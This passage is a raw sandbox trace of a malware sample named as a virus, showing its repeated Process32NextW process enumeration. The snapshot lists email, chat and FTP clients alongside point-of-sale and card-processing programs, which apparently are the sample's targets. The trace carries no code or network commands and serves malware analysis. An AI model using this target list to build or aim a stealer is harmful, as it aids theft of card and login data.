th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0055.037] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0055.038] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0055.038] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0055.039] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0055.039] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0055.040] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0055.041] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0055.042] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0055.042] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0055.043] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0055.044] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0055.619] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0055.620] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0055.620] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0055.621] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0055.622] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0055.622] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0055.623] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0055.624] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0055.624] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0055.625] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0055.626] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0055.626] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0055.627] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0055.627] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0055.628] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0055.629] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0055.629] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0055.630] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0055.630] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0055.631] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0055.632] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.633] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.633] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.634] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0055.635] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0055.635] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.636] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.636] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.637] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.638] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.638] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0055.639] CloseHandle (hObject=0x1c8) returned 1 [0055.639] Sleep (dwMilliseconds=0x1f4) [0056.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0056.436] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.437] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.437] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.438] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.438] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.438] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.439] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.439] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.440] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.440] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.441] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.441] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.442] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.442] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.443] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.443] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.444] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.444] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.445] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.445] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.446] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.446] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.447] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.447] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.448] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0056.449] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0056.450] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0056.450] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0056.451] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0056.452] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0056.452] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0056.453] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0056.454] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0056.454] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0056.455] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0056.456] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0056.456] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0056.457] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0056.458] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0056.458] Process32NextW (in: hSnapshot=0x1cc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 